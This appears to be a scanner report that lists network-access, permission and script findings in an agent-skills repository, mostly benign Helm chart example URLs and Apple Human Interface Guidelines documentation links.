- Network accessline 52
- api - backend home: https://example.com # Project home page - Network accessline 53
- backend home: https://example.com # Project home page sources: # Source code URLs - Network accessline 54
home: https://example.com # Project home page - Network accessline 55
sources: # Source code URLs - https://github.com/example/my-app maintainers: # Maintainer list - Network accessline 56
- https://github.com/example/my-app - Network accessline 58
- name: John Doe email: john@example.com url: https://github.com/johndoe - Network accessline 59
email: john@example.com url: https://github.com/johndoe icon: https://example.com/icon.png # Chart icon URL - Network accessline 60
url: https://github.com/johndoe - Network accessline 61
icon: https://example.com/icon.png # Chart icon URL - Network accessline 63
deprecated: false # Mark chart as deprecated annotations: # Arbitrary annotations example.com/release-notes: https://example.com/releases/v1.2.3 - Network accessline 64
annotations: # Arbitrary annotations example.com/release-notes: https://example.com/releases/v1.2.3 dependencies: # Chart dependencies - Network accessline 65
example.com/release-notes: https://example.com/releases/v1.2.3 - Network accessline 67
- name: postgresql version: "12.0.0" repository: "https://charts.bitnami.com/bitnami" - Network accessline 68
version: "12.0.0" repository: "https://charts.bitnami.com/bitnami" condition: postgresql.enabled - Network accessline 69
repository: "https://charts.bitnami.com/bitnami" - Network accessline 169
{ "$schema": "https://json-schema.org/draft-07/schema#", - Network accessline 170
"$schema": "https://json-schema.org/draft-07/schema#", - Network accessline 283
export POD_NAME=$(kubectl get pods --namespace {{ .Release.Namespace }} -l "app.kubernetes.io/name={{ include "my-app.name" . }}" -o jsonpath="{.items[0].metadata.name}") kubectl port-forward $POD_NAME 8080:80 echo "Visit http://127.0.0 - Network accessline 284
kubectl port-forward $POD_NAME 8080:80 echo "Visit http://127.0.0.1:8080" {{- end }} - Network accessline 285
echo "Visit http://127.0.0.1:8080" - Network accessline 296
- name: postgresql version: "12.0.0" repository: "https://charts.bitnami.com/bitnami" - Network accessline 297
version: "12.0.0" repository: "https://charts.bitnami.com/bitnami" condition: postgresql.enabled # Enable/disable via values - Network accessline 298
repository: "https://charts.bitnami.com/bitnami" - Network accessline 326
dependencies: - name: postgresql repository: https://charts.bitnami.com/bitnami - Network accessline 327
- name: postgresql repository: https://charts.bitnami.com/bitnami version: 12.0.0 - Network accessline 328
repository: https://charts.bitnami.com/bitnami - Network accessline 414
containers: - name: wget image: busybox - Network accessline 415
- name: wget image: busybox command: ['wget'] - Network accessline 493
helm repo index . --url https://charts.example.com - Network accessline 498
- [Helm Documentation](https://helm.sh/docs/) - Network accessline 499
- [Chart Template Guide](https://helm.sh/docs/chart_template_guide/) - Network accessline 500
- [Best Practices](https://helm.sh/docs/chart_best_practices/)
skills/helm-chart-scaffolding/resources/implementation-playbook.md
- Network accessline 80
- name: DevOps Team email: devops@example.com url: https://github.com/example/my-app - Network accessline 82
url: https://github.com/example/my-app - Network accessline 84
# Source code repository sources: - https://github.com/example/my-app - Network accessline 86
- https://github.com/example/my-app - Network accessline 88
# Homepage home: https://example.com - Network accessline 89
home: https://example.com - Network accessline 91
# Chart icon icon: https://example.com/icon.png - Network accessline 92
icon: https://example.com/icon.png - Network accessline 96
- name: postgresql version: "12.0.0" repository: "https://charts.bitnami.com/bitnami" - Network accessline 97
version: "12.0.0" repository: "https://charts.bitnami.com/bitnami" condition: postgresql.enabled - Network accessline 98
repository: "https://charts.bitnami.com/bitnami" - Network accessline 100
- name: redis version: "17.0.0" repository: "https://charts.bitnami.com/bitnami" - Network accessline 101
version: "17.0.0" repository: "https://charts.bitnami.com/bitnami" condition: redis.enabled - Network accessline 102
repository: "https://charts.bitnami.com/bitnami" - Network accessline 267
- name: postgresql version: "12.0.0" repository: "https://charts.bitnami.com/bitnami" - Network accessline 268
version: "12.0.0" repository: "https://charts.bitnami.com/bitnami" condition: postgresql.enabled - Network accessline 269
repository: "https://charts.bitnami.com/bitnami" - Network accessline 353
helm repo add my-repo https://charts.example.com - Network accessline 443
containers: - name: wget image: busybox - Network accessline 444
- name: wget image: busybox command: ['wget']
skills/helm-chart-scaffolding/scripts/validate-chart.sh
- Executable scriptline 1
#!/bin/bash
skills/helpdesk-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/hig-components-content/SKILL.md
- Network accessline 88
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-components-content/references/activity-views.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Activity views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/activity-views - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/activity-views - Network accessline 9
 For example, you might create - Network accessline 17
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/activity-views#Best-practices) - Network accessline 21
**Consider using a symbol to represent your custom activity.** [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) provides a comprehensive set of configurable symbols you can use to communicate items and - Network accessline 29
 - Network accessline 52
**If necessary, provide an image that communicates the purpose of your extension.** A share extension automatically uses your app icon, helping give people confidence that your app provided the extension. For an action extension, prefer usi - Network accessline 56
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/activity-views#Platform-considerations) - Network accessline 60
## [Resources](https://developer.apple.com/design/human-interface-guidelines/activity-views#Resources) - Network accessline 62
#### [Related](https://developer.apple.com/design/human-interface-guidelines/activity-views#Related) - Network accessline 64
[Sheets](https://developer.apple.com/design/human-interface-guidelines/sheets) - Network accessline 66
[Popovers](https://developer.apple.com/design/human-interface-guidelines/popovers) - Network accessline 68
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/activity-views#Developer-documentation) - Network accessline 70
[`UIActivityViewController`](https://developer.apple.com/documentation/UIKit/UIActivityViewController) — UIKit - Network accessline 72
[`UIActivity`](https://developer.apple.com/documentation/UIKit/UIActivity) — UIKit - Network accessline 74
[App Extension Support](https://developer.apple.com/documentation/Foundation/app-extension-support) — Foundation - Network accessline 76
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/activity-views#Videos) - Network accessline 78
[ Design for Collaboration with Messages ](https://developer.apple.com/videos/play/wwdc2022/10015)
skills/hig-components-content/references/charts.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Charts | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/charts - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/charts - Network accessline 9
; for developer guidance, see [Creating a chart using Swift Charts](https://develope - Network accessline 24
## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/charts#Anatomy) - Network accessline 28
 - Network accessline 46
**Choose a mark type based on the information you want to communicate about the data.** Some of the most familiar mark types are bar, line, and point; for developer guidance on these and other mark types, see [Swift Charts](https://develope - Network accessline 50
 - Network accessline 54
 - Network accessline 58
 - Network accessline 62
## [Axes](https://developer.apple.com/design/human-interface-guidelines/charts#Axes) - Network accessline 66
 - Network accessline 86
 - Network accessline 94
**Make every chart in your app accessible.** Charts — like all infographics — need to be fully accessible to everyone, regardless of how they perceive content. For example, it’s essential to support VoiceOver, which describes onscreen conte - Network accessline 100
**Make an interactive chart easy to navigate when using keyboard commands (including full keyboard access) or Switch Control.** By default, these input types tend to visit individual onscreen elements in a linear sequence, such as the seque - Network accessline 102
**Help people notice important changes in a chart.** For example, if people don’t notice when marks or axes change, they can misread a chart. Animating such changes can help people notice them, but you need to highlight the changes in other - Network accessline 106
## [Color](https://developer.apple.com/design/human-interface-guidelines/charts#Color) - Network accessline 108
As in all other parts of your interface, using color in a chart can help you clarify information, evoke your brand, and provide visual continuity. For general guidance on using color in ways that everyone can appreciate, see [Inclusive colo - Network accessline 112
 - Network accessline 120
When you use Swift Charts to create a chart, you get a default implementation of [Audio graphs](https://developer.apple.com/documentation/Accessibility/audio-graphs), in addition to a default accessibility element for each mark (or group of - Network accessline 130
 - Network accessline 153
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/charts#watchOS) - Network accessline 157
## [Resources](https://developer.apple.com/design/human-interface-guidelines/charts#Resources) - Network accessline 159
#### [Related](https://developer.apple.com/design/human-interface-guidelines/charts#Related) - Network accessline 161
[Charting data](https://developer.apple.com/design/human-interface-guidelines/charting-data) - Network accessline 163
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/charts#Developer-documentation) - Network accessline 165
[Swift Charts](https://developer.apple.com/documentation/Charts) - Network accessline 167
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/charts#Videos) - Network accessline 169
[ Bring Swift Charts to the third dimension ](https://developer.apple.com/videos/pla - Network accessline 171
[ Design app experiences with charts ](https://developer.apple.com/videos/play/wwdc2022/110342) - Network accessline 173
[ Design an effective chart ](https://developer.apple.com/videos/play/wwdc2022/110340) - Network accessline 175
## [Change log](https://developer.apple.com/design/human-interface-guidelines/charts#Change-log)
skills/hig-components-content/references/collections.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Collections | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/collections - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/collections - Network accessline 9
 - Network accessline 25
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/collections#Platform-considerations) - Network accessline 29
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/collections#iOS-iPadOS) - Network accessline 33
## [Resources](https://developer.apple.com/design/human-interface-guidelines/collections#Resources) - Network accessline 35
#### [Related](https://developer.apple.com/design/human-interface-guidelines/collections#Related) - Network accessline 37
[Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables) - Network accessline 39
[Image views](https://developer.apple.com/design/human-interface-guidelines/image-views) - Network accessline 41
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 43
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/collections#Developer-documentation) - Network accessline 45
[`UICollectionView`](https://developer.apple.com/documentation/UIKit/UICollectionView) — UIKit - Network accessline 47
[`NSCollectionView`](https://developer.apple.com/documentation/AppKit/NSCollectionView) — AppKit
skills/hig-components-content/references/color-wells.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Color wells | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/color-wells - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/color-wells - Network accessline 9
 - Network accessline 17
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/color-wells#Platform-considerations) - Network accessline 21
### [macOS](https://developer.apple.com/design/human-interface-guidelines/color-wells#macOS) - Network accessline 27
## [Resources](https://developer.apple.com/design/human-interface-guidelines/color-wells#Resources) - Network accessline 29
#### [Related](https://developer.apple.com/design/human-interface-guidelines/color-wells#Related) - Network accessline 31
[Color](https://developer.apple.com/design/human-interface-guidelines/color) - Network accessline 33
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/color-wells#Developer-documentation) - Network accessline 35
[`UIColorWell`](https://developer.apple.com/documentation/UIKit/UIColorWell) — UIKit - Network accessline 37
[`UIColorPickerViewController`](https://developer.apple.com/documentation/UIKit/UIColorPickerViewController) — UIKit - Network accessline 39
[`NSColorWell`](https://developer.apple.com/documentation/AppKit/NSColorWell) — AppKit - Network accessline 41
[Color Programming Topics](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/DrawColor/DrawColor.html)
skills/hig-components-content/references/image-views.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Image views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/image-views - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/image-views - Network accessline 9
 - Network accessline 15
**Use an image view when the primary purpose of the view is simply to display an image.** In rare cases where you might want an image to be interactive, configure a system-provided [button](https://developer.apple.com/design/human-interface - Network accessline 17
**If you want to display an icon in your interface, consider using a symbol or interface icon instead of an image view.** [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) provides a large library of str - Network accessline 19
## [Content](https://developer.apple.com/design/human-interface-guidelines/image-views#Content) - Network accessline 21
An image view can contain rich image data in various formats, like PNG, JPEG, and PDF. For more guidance, see [Images](https://developer.apple.com/design/human-interface-guidelines/images). - Network accessline 27
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/image-views#Platform-considerations) - Network accessline 31
### [macOS](https://developer.apple.com/design/human-interface-guidelines/image-views#macOS) - Network accessline 33
**If your app needs an editable image view, use an image well.** An [image well](https://developer.apple.com/design/human-interface-guidelines/image-wells) is an image view that supports copying, pasting, dragging, and using the Delete key - Network accessline 35
**Use an image button instead of an image view to make a clickable image.** An [image button](https://developer.apple.com/design/human-interface-guidelines/buttons#Image-buttons) contains an image or icon, appears in a view, and initiates a - Network accessline 37
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/image-views#tvOS) - Network accessline 39
Many tvOS images combine multiple layers with transparency to create a feeling of depth. For guidance, see [Layered images](https://developer.apple.com/design/human-interface-guidelines/images#Layered-images). - Network accessline 41
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/image-views#visionOS) - Network accessline 43
Windows in visionOS apps and games can use image views to display 2D and stereoscopic images, as well as spatial photos. If your app uses RealityKit, you can also display images of any type outside of image views next to 3D content, or gene - Network accessline 45
For guidance on presenting other 3D content in a window or volume, see [Windows > visionOS](https://developer.apple.com/design/human-interface-guidelines/windows#visionOS). - Network accessline 47
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/image-views#watchOS) - Network accessline 49
**Use SwiftUI to create animations when possible.** Alternatively, you can use WatchKit to animate a sequence of images within an image element if necessary. For developer guidance, see [`WKImageAnimatable`](https://developer.apple.com/docu - Network accessline 51
## [Resources](https://developer.apple.com/design/human-interface-guidelines/image-views#Resources) - Network accessline 53
#### [Related](https://developer.apple.com/design/human-interface-guidelines/image-views#Related) - Network accessline 55
[Images](https://developer.apple.com/design/human-interface-guidelines/images) - Network accessline 57
[Image wells](https://developer.apple.com/design/human-interface-guidelines/image-wells) - Network accessline 59
[Image buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Image-buttons) - Network accessline 61
[SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) - Network accessline 63
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/image-views#Developer-documentation) - Network accessline 65
[`Image`](https://developer.apple.com/documentation/SwiftUI/Image) — SwiftUI - Network accessline 67
[`UIImageView`](https://developer.apple.com/documentation/UIKit/UIImageView) — UIKit - Network accessline 69
[`NSImageView`](https://developer.apple.com/documentation/AppKit/NSImageView) — AppKit - Network accessline 71
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/image-views#Videos) - Network accessline 73
[ Support HDR images in your app ](https://developer.apple.com/videos/play/wwdc2023/ - Network accessline 75
[ Add rich graphics to your SwiftUI app ](https://developer.apple.com/videos/play/wwdc2021/10021) - Network accessline 77
## [Change log](https://developer.apple.com/design/human-interface-guidelines/image-views#Change-log)
skills/hig-components-content/references/image-wells.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Image wells | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/image-wells - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/image-wells - Network accessline 9
 - Network accessline 17
**If your image well supports copy and paste, make sure the standard copy and paste menu items are available.** People generally expect to choose these menu items — or use the standard keyboard shortcuts — to interact with an image well. Fo - Network accessline 19
For related guidance, see [Image views](https://developer.apple.com/design/human-interface-guidelines/image-views). - Network accessline 21
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/image-wells#Platform-considerations) - Network accessline 25
## [Resources](https://developer.apple.com/design/human-interface-guidelines/image-wells#Resources) - Network accessline 27
#### [Related](https://developer.apple.com/design/human-interface-guidelines/image-wells#Related) - Network accessline 29
[Image views](https://developer.apple.com/design/human-interface-guidelines/image-views) - Network accessline 31
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/image-wells#Developer-documentation) - Network accessline 33
[`NSImageView`](https://developer.apple.com/documentation/AppKit/NSImageView) — AppKit
skills/hig-components-content/references/lockups.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Lockups | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/lockups - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/lockups - Network accessline 9
 - Network accessline 17
**Allow adequate space between lockups.** A focused lockup expands in size, so leave enough room between lockups to avoid overlapping or displacing other lockups. For guidance, see [Layout](https://developer.apple.com/design/human-interface - Network accessline 19
 and [`TVLockupHeaderFooterView`](https://developer.apple.com/documentation/TVUIKit/TVLockupHeaderFooterView). - Network accessline 25
## [Cards](https://developer.apple.com/design/human-interface-guidelines/lockups#Cards) - Network accessline 29
. - Network accessline 33
## [Caption buttons](https://developer.apple.com/design/human-interface-guidelines/lockups#Caption-buttons) - Network accessline 39
. - Network accessline 43
## [Monograms](https://developer.apple.com/design/human-interface-guidelines/lockups#Monograms) - Network accessline 49
. - Network accessline 53
## [Posters](https://developer.apple.com/design/human-interface-guidelines/lockups#Posters) - Network accessline 55
Posters consist of an image and an optional title and subtitle, which are hidden until the poster comes into focus. Posters can be any size, but the size needs to be appropriate for their content. For related guidance, see [Image views](htt - Network accessline 57
. - Network accessline 61
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/lockups#Platform-considerations) - Network accessline 65
## [Resources](https://developer.apple.com/design/human-interface-guidelines/lockups#Resources) - Network accessline 67
#### [Related](https://developer.apple.com/design/human-interface-guidelines/lockups#Related) - Network accessline 69
[Designing for tvOS](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos) - Network accessline 71
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 73
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/lockups#Developer-documentation) - Network accessline 75
[`TVLockupView`](https://developer.apple.com/documentation/TVUIKit/TVLockupView) — TVUIKit - Network accessline 77
[`TVLockupHeaderFooterView`](https://developer.apple.com/documentation/TVUIKit/TVLockupHeaderFooterView) — TVUIKit
skills/hig-components-content/references/web-views.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Web views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/web-views - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/web-views - Network accessline 9
 - Network accessline 19
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/web-views#Platform-considerations) - Network accessline 23
## [Resources](https://developer.apple.com/design/human-interface-guidelines/web-views#Resources) - Network accessline 25
#### [Related](https://developer.apple.com/design/human-interface-guidelines/web-views#Related) - Network accessline 27
[Webkit.org](https://webkit.org/) - Network accessline 29
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/web-views#Developer-documentation) - Network accessline 31
[`WKWebView`](https://developer.apple.com/documentation/WebKit/WKWebView) — WebKit - Network accessline 33
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/web-views#Videos) - Network accessline 35
[ Explore WKWebView additions ](https://developer.apple.com/videos/play/wwdc2021/10032)
skills/hig-components-controls/SKILL.md
- Network accessline 90
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-components-controls/references/combo-boxes.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Combo boxes | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/combo-boxes - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/combo-boxes - Network accessline 9
 - Network accessline 17
**Use an introductory label to let people know what types of items to expect.** Generally, use title-style capitalization for labels and end them with a colon. For related guidance, see [Labels](https://developer.apple.com/design/human-inte - Network accessline 23
For guidance, see [Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) and [Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons). - Network accessline 25
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/combo-boxes#Platform-considerations) - Network accessline 29
## [Resources](https://developer.apple.com/design/human-interface-guidelines/combo-boxes#Resources) - Network accessline 31
#### [Related](https://developer.apple.com/design/human-interface-guidelines/combo-boxes#Related) - Network accessline 33
[Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) - Network accessline 35
[Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons) - Network accessline 37
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/combo-boxes#Developer-documentation) - Network accessline 39
[`NSComboBox`](https://developer.apple.com/documentation/AppKit/NSComboBox) — AppKit
skills/hig-components-controls/references/controls.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/controls - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/controls - Network accessline 9
 - Network accessline 17
Controls contain a symbol image, a title, and, optionally, a value. The symbol visually represents what the control does and can be a symbol from [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) or a cu - Network accessline 19
 - Network accessline 32
 - Network accessline 47
**Offer controls for actions that provide the most benefit without having to launch your app.** For example, launching a Live Activity from a control creates an easy and seamless experience that informs someone about progress without having - Network accessline 51
**Choose a descriptive symbol that suggests the behavior of the control.** Depending on where a person adds a control, it may not display the title and value, so the symbol needs to convey enough information about the control’s action. For - Network accessline 53
**Use symbol animations to highlight state changes.** For control toggles, animate the transition between both on and off states. For control buttons with actions that have a duration, animate indefinitely while the action performs and stop - Network accessline 55
**Select a tint color that works with your app’s brand.** The system applies this tint color to a control toggle’s symbol in its on state. When a person performs the action of a control from the Action button, the system also uses this tint - Network accessline 57
Nontinted control toggle in the off state - Network accessline 59
Tinted control toggle in the on state - Network accessline 61
**Help people provide additional information the system needs to perform an action.** A person may need to configure a control to perform a desired action — for example, select a specific light in a house to turn on and off. If a control re - Network accessline 63
 - Network accessline 65
**Provide hint text for the Action button.** When a person presses the Action button, the system displays hint text to help them understand what happens when they press and hold. When someone presses and holds the Action button, the system - Network accessline 67
Control toggle with no informatio - Network accessline 77
Control toggle with information hidden on a locked device - Network accessline 79
**Require authentication for actions that affect security.** For example, require people to unlock their device to access controls to lock or unlock the door to their house or start their car. For developer guidance, see [`IntentAuthenticat - Network accessline 81
## [Camera experiences on a locked device](https://developer.apple.com/design/human-interface-guidelines/controls#Camera-experiences-on-a-locked-device) - Network accessline 83
If your app supports camera capture, starting with iOS 18 you can create a control that launches directly to your app’s camera experience while the device is locked. For any task beyond capture, a person must authenticate and unlock their d - Network accessline 89
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/controls#Platform-considerations) - Network accessline 93
## [Resources](https://developer.apple.com/design/human-interface-guidelines/controls#Resources) - Network accessline 95
#### [Related](https://developer.apple.com/design/human-interface-guidelines/controls#Related) - Network accessline 97
[Widgets](https://developer.apple.com/design/human-interface-guidelines/widgets) - Network accessline 99
[Action button](https://developer.apple.com/design/human-interface-guidelines/action-button) - Network accessline 101
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/controls#Developer-documentation) - Network accessline 103
[LockedCameraCapture](https://developer.apple.com/documentation/LockedCameraCapture) - Network accessline 105
[WidgetKit](https://developer.apple.com/documentation/WidgetKit) - Network accessline 107
## [Change log](https://developer.apple.com/design/human-interface-guidelines/controls#Change-log)
skills/hig-components-controls/references/gauges.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Gauges | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/gauges - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/gauges - Network accessline 9
 - Network accessline 21
In addition to gauges, macOS also supports level indicators, some of which have visual styles that are similar to gauges. For guidance, see [macOS](https://developer.apple.com/design/human-interface-guidelines/gauges#macOS). - Network accessline 23
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/gauges#Best-practices) - Network accessline 29
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/gauges#Platform-considerations) - Network accessline 33
### [macOS](https://developer.apple.com/design/human-interface-guidelines/gauges#macOS) - Network accessline 39
. - Network accessline 57
## [Resources](https://developer.apple.com/design/human-interface-guidelines/gauges#Resources) - Network accessline 59
#### [Related](https://developer.apple.com/design/human-interface-guidelines/gauges#Related) - Network accessline 61
[Ratings and reviews](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews) - Network accessline 63
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/gauges#Developer-documentation) - Network accessline 65
[`Gauge`](https://developer.apple.com/documentation/SwiftUI/Gauge) — SwiftUI - Network accessline 67
[`NSLevelIndicator`](https://developer.apple.com/documentation/AppKit/NSLevelIndicator) — AppKit - Network accessline 69
## [Change log](https://developer.apple.com/design/human-interface-guidelines/gauges#Change-log)
skills/hig-components-controls/references/labels.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Labels | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/labels - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/labels - Network accessline 9
 and [`Text`](https://developer.apple.com/documentation/SwiftUI/Text). - Network accessline 28
The guidance below can help you use a label to display text. In some cases, guidance for specific components — such as [action buttons](https://developer.apple.com/design/human-interface-guidelines/buttons), [menus](https://developer.apple. - Network accessline 30
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/labels#Best-practices) - Network accessline 32
**Use a label to display a small amount of text that people don’t need to edit.** If you need to let people edit a small amount of text, use a [text field](https://developer.apple.com/design/human-interface-guidelines/text-fields). If you n - Network accessline 36
**Use system-provided label colors to communicate relative importance.** The system defines four label colors that vary in appearance to help you give text different levels of visual importance. For additional guidance, see [Color](https:// - Network accessline 38
System color| Example usage| iOS, iPadOS, tvOS, visionOS| macOS ---|---|---|--- Label| Primary information| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label)| [`labelColor`](https://developer.apple.com/documentati - Network accessline 39
---|---|---|--- Label| Primary information| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label)| [`labelColor`](https://developer.apple.com/documentation/AppKit/NSColor/labelColor) Secondary label| A subheading or s - Network accessline 40
Label| Primary information| [`label`](https://developer.apple.com/documentation/UIKit/UIColor/label)| [`labelColor`](https://developer.apple.com/documentation/AppKit/NSColor/labelColor) - Network accessline 41
Secondary label| A subheading or supplemental text| [`secondaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/secondaryLabel)| [`secondaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColor/secondaryLabelC - Network accessline 42
Tertiary label| Text that describes an unavailable item or behavior| [`tertiaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/tertiaryLabel)| [`tertiaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColor/t - Network accessline 43
Quaternary label| Watermark text| [`quaternaryLabel`](https://developer.apple.com/documentation/UIKit/UIColor/quaternaryLabel)| [`quaternaryLabelColor`](https://developer.apple.com/documentation/AppKit/NSColor/quaternaryLabelColor) - Network accessline 47
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/labels#Platform-considerations) - Network accessline 51
### [macOS](https://developer.apple.com/design/human-interface-guidelines/labels#macOS) - Network accessline 55
To display uneditable text in a label, use the [`isEditable`](https://developer.apple.com/documentation/AppKit/NSTextField/isEditable) property of [`NSTextField`](https://developer.apple.com/documentation/AppKit/NSTextField). - Network accessline 57
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/labels#watchOS) - Network accessline 61
Time - Network accessline 67
Consider using date and timer components in complications. For design guidance, see [Complications](https://developer.apple.com/design/human-interface-guidelines/components/system-experiences/complications); for developer guidance, see [`Te - Network accessline 69
## [Resources](https://developer.apple.com/design/human-interface-guidelines/labels#Resources) - Network accessline 71
#### [Related](https://developer.apple.com/design/human-interface-guidelines/labels#Related) - Network accessline 73
[Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) - Network accessline 75
[Text views](https://developer.apple.com/design/human-interface-guidelines/text-views) - Network accessline 77
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/labels#Developer-documentation) - Network accessline 79
[`Label`](https://developer.apple.com/documentation/SwiftUI/Label) — SwiftUI - Network accessline 81
[`Text`](https://developer.apple.com/documentation/SwiftUI/Text) — SwiftUI - Network accessline 83
[`UILabel`](https://developer.apple.com/documentation/UIKit/UILabel) — UIKit - Network accessline 85
[`NSTextField`](https://developer.apple.com/documentation/AppKit/NSTextField) — AppKit - Network accessline 87
## [Change log](https://developer.apple.com/design/human-interface-guidelines/labels#Change-log)
skills/hig-components-controls/references/pickers.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Pickers | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/pickers - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/pickers - Network accessline 9
 - Network accessline 17
**Consider using a picker to offer medium-to-long lists of items.** If you need to display a fairly short list of choices, consider using a [pull-down button](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons) - Network accessline 25
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/pickers#Platform-considerations) - Network accessline 29
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/pickers#iOS-iPadOS) - Network accessline 67
 - Network accessline 79
For developer guidance, see [`NSDatePicker`](https://developer.apple.com/documentation/AppKit/NSDatePicker). - Network accessline 81
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/pickers#tvOS) - Network accessline 83
Pickers are available in tvOS with SwiftUI. For developer guidance, see [`Picker`](https://developer.apple.com/documentation/SwiftUI/Picker). - Network accessline 85
